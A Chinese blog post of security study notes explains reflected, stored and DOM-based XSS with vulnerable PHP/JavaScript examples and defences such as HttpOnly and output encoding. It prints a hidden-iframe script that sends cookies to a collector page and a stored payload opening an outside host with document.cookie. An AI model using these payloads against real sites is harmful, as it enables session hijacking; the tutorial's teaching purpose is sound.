web安全之XSS攻击

XSS 即跨站脚本攻击,是 OWASP TOP10 之一。它的全称为 Cross-site scripting,因为 CSS 这个简称已经被占用表示为前端三剑客之一的CSS,所以简写为XSS。

原理

浏览器将用户输入的恶意内容当做脚本去执行,从而导致了恶意功能的执行,这是一种客户端攻击方式,是网站应用程序的安全漏洞攻击,是脚本代码注入的一种。可分为三个类型:反射型存储型DOM型

反射型XSS

先来看下面示例

<?php
$input = $_GET["info"];
echo "<div>".$input."</div>" ?>

当用户在前端获取值通过url传递给后端时,上面代码将显示用户传递参数。如下:

思考:当传递参数本身为恶意代码时将会有怎么样的效果?如下:

http://localhost:3000/php_stu/xss_some/xss01.php?info=<script>alert(/xss/)</script>

效果就是会执行js的alert函数:

如果将info=<script>alert(/xss/)</script>替换成复杂逻辑代码可以获取用户信息做一些操作。例如改成如下代码:

        <script>
p = window.location.pathname;
c = document.cookie;
ifm = document.createElement("iframe");
document.body.appendChild(ifm);
ifm.width = 0;ifm.height = 0;
ifm.src = "http://localhost:3000/php_stu/xss_some/1.php?info=" + p + "&co" + c;
</script>

根据如上代码请求后发现我的1.php网站获取到了用户的网站路径和用户cookie:

总结:反射型XSS只是简单地把用户输入的数据”反射给浏览器“。也就是说,黑客往往需要诱导用户点击一个恶意链接(如钓鱼邮件等),才能进行攻击。因此反射型XSS也叫做非持久型XSS。

存储型XSS

存储型XSS会把用户输入的数据存储在服务器,这种XSS危害性更大。比如在博客网站上,一个人在自己的信息上写一段脚本。如”自我介绍<script>window.open("http://wwww.mysite.com?yourcookie=document.cookie")</script>“,而这个博客网站没有对自我介绍的内容进行正确的编码,当网站其他用户看到这个信息时,这个用户将会得到所有看他自我介绍的用户的会话cookie。更严重的是,如果攻击者的恶意代码可以自我扩散,特别是在社交网络上,就会形成蠕虫,早期的samy worm就是如此。

下面就是存储型XSS的一个应用场景:

基于DOM的XSS

基于DOM的XSS和反射型XSS原理基本上一样,不同的是基于DOM的XSS在服务器端没有办法控制,必须在客户端控制,因为不经过服务端,所以可以绕过WAF等的检测。DOM是前端HTML的概念,最好需先去了解下前端DOM树的概念。

比如有一网站代码如下:

<script>
function test() {
var inpStr = document.getElementById("usr").value;
document.getElementById("link").innerHTML = "<a href='"+inpStr+"' >testLink</a>";
}
</script> <div id="link"></div>
<input type="text" id="usr" value="" />
<input type="button" id="tmp" value="show" onclick="test()" />

效果如下:

点击show按钮之后生产一个超链接:

如果我在input输入框内输入如下字符串' onclick=alert(/xss/) '将得到如下效果:

得到的超链接标签内容为<a href='' onclick=alert(/xss/) ''> testLink</a>

跨站(XSS)盲打

这里再介绍下XSS盲打,XSS盲打就是尽可能地于一切可能的地方提交XSS语句,比如某些网站用户给站长投信反馈意见,如果管理员看到此xss语句就能获取到管理员的cookie信息。

XSS防范

  • HttpOnly

    HttpOnly由微软提出,在IE6中实现,目前主流浏览器都支持,意思是浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。这样HttpOnly可以有效防止Cookie劫持。

  • 转义特殊字符

    • '&'
    • '"'
    • '''
    • '<'
    • '>'
  • 安全编码

    对后端传输到前端的输出进行编码,防止其被解析成为动态内容。比如php编程里的htmlentities()和htmlspecialchars()函数,python中django模板里的escape等。

总的来说坚持输入和输出不可信。

安全学习笔记-web安全之XSS攻击的更多相关文章

  1. 第二天学习笔记:(MDN HTML学习、web安全策略与常见攻击、语义化)

    一:Web入门 1:web文件命名 在文件名中应使用连字符(-).搜索引擎把连字符当作一个词的分隔符, 但不会以这种方式处理下划线. 养成在文件夹和文件名中使用小写,并且使用短横线而不是空格来分隔的习 ...

  2. Web安全测试学习笔记-DVWA-存储型XSS

    XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</scrip ...

  3. WEB安全测试之XSS攻击

    目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...

  4. 记一次JAVA WEB项目解决XSS攻击的办法(亲测有效)

    什么是XSS攻击 简单来说,XSS 攻击是页面被注入了恶意的代码,度娘一大堆的东西,不想说 系统架构主要是SSM框架,服务层另外使用了DubboX.   为啥说这个,因为SpringMVC对于Xss攻 ...

  5. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  6. web安全之xss攻击

    xss攻击的全称是Cross-Site Scripting (XSS)攻击,是一种注入式攻击.基本的做法是把恶意代码注入到目标网站.由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的,所以浏览器会 ...

  7. web安全之XSS攻击原理及防范

    阅读目录 一:什么是XSS攻击? 二:反射型XSS 三:存储型XSS 四:DOM-based型XSS 五:SQL注入 六:XSS如何防范? 1. cookie安全策略 2. X-XSS-Protect ...

  8. 基于web站点的xss攻击

    XSS(Cross Site Script),全称跨站脚本攻击,为了与 CSS(Cascading Style Sheet) 有所区别,所以在安全领域称为 XSS. XSS 攻击,通常指黑客通过 HT ...

  9. 常见Web安全漏洞--------XSS 攻击

    1,XSS 攻击 XSS攻击使用Javascript脚本注入进行攻击 例如在提交表单后,展示到另一个页面,可能会受到XSS脚本注入,读取本地cookie远程发送给黑客服务器端. <script& ...

随机推荐

  1. ubuntu memcached安装与配置

    转载请注明来源:https://www.cnblogs.com/hookjc/ 关于Memcache与memcachedMemcache是项目名,memcached是服务名.让很多初接触的人感觉很是莫 ...

  2. Cell简介

    UITableView的每一行都是一个UITableViewCell,通过dataSource的tableView:cellForRowAtIndexPath:方法来初始化每一行 UITableVie ...

  3. 自定义的类实现copy操作

    1.自定义类实现copy操作 让类遵守NSCopying协议 实现 copyWithZone:方法,在该方法中返回一个对象的副本即可. 在copyWithZone方法中,创建一个新的对象,并设置该对象 ...

  4. 7.2.*PHP编译安装时常见错误解决办法,php编译常见错误

    configure: error: Cannot find ldap.h   检查下面是不是已经安装,如果没有安装之:检查:yum list openldapyum list openldap-dev ...

  5. Jenkins敏捷开发 自动化构建工具

    一.序言 Jenkins 是一款自动化构建工具,能够基于 Maven 构建后端 Java 项目,也能够基于 nodejs 构建前端 vue 项目,并且有可视化 web 界面. 所谓自动化构建是按照一定 ...

  6. sublime与python交互

    点击菜单栏中的工具 -> 编译系统,勾选Python即可 创建hello.py文件,Ctrl+S保存文件,Ctrl+B执行文件,结果如下图   3.sublime运行python文件的交互环境设 ...

  7. Mysql的基本操作知识

    顺带,我会在后面把我整理的一整套CSS3,PHP,MYSQL的开发的笔记打包放到百度云,有需要可以直接去百度云下载,这样以后你们开发就可以直接翻笔记不用百度搜那么麻烦了.  笔记链接:http://p ...

  8. socket 套接字编程

    今日内容 socket 套接字编程 简易服务端与客户端代码实现 通信循环 黏包现象(TCP协议) 报头制作.struct 模块.封装形式 内容详细 一.socket 套接字编程 实现一款能够进行数据交 ...

  9. html特殊字符(css3 content)

    由于偶尔用到,又经常忘记,所以把网上的资料考下来记录一下. <!DOCTYPE html> <html lang="en"> <head> &l ...

  10. 通过JAVA对FTP服务器连接,上传,下载,读取,移动文件等

    记录一次对FTP服务器文件内容 通过Java程序对FTP服务器文件处理:连接,上传,下载,读取,移动文件等. 需求描述:今天接到一个任务,在Java项目中,读取FTP服务器上的一些文件,进行一些业务操 ...